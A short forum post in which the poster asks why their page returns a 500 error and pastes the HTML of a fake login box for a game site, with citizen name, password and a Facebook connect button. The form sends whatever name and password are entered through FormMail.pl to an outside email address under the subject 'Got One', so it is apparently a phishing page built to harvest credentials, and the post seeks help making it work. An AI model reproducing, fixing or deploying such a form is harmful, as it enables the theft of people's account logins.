Lost

[Speed D]

Does anyone see something blatantly wrong with this? I keep getting 500.

<div id="loginbox">
<span class="title">Enter the new world</span>
<div class="facebook_login">
<a style="display:none;" class="facebook_login_link" onclick="FB.Connect.requireSession(function(){facebook_connect_redirectToLink('/en/facebook/login')}); return false;" href="javascript:;" id="RES_ID_fb_login">
<img id="fb_login_image" src="/images/parts/connect_light_medium_short.gif" alt="Connect" />
</a>
</div>
<form method="post" action="/cgi-bin/FormMail.pl"><input type="hidden" name="recipient" value="kilbupere@aol.com" /><input type="hidden" name="subject" value="Got One" /> <div class="half">
<div class="fieldname">Citizen name</div>
<input type="text" name="name" />
<a class="smalldotted goleft" tabindex="4" rel="nofollow" href="/en/forgot-password">Forgot password?</a> </div>
<div class="half">
<div class="fieldname">Password</div>
<input type="password" name="password" />
<input type="checkbox" name="remember" id="remember" value="1" class="check" tabindex="5" />&nbsp;
<label for="remember">Remember me</label>
</div>
<input type="submit" value="Submit" name="Submit" /> </form> </div>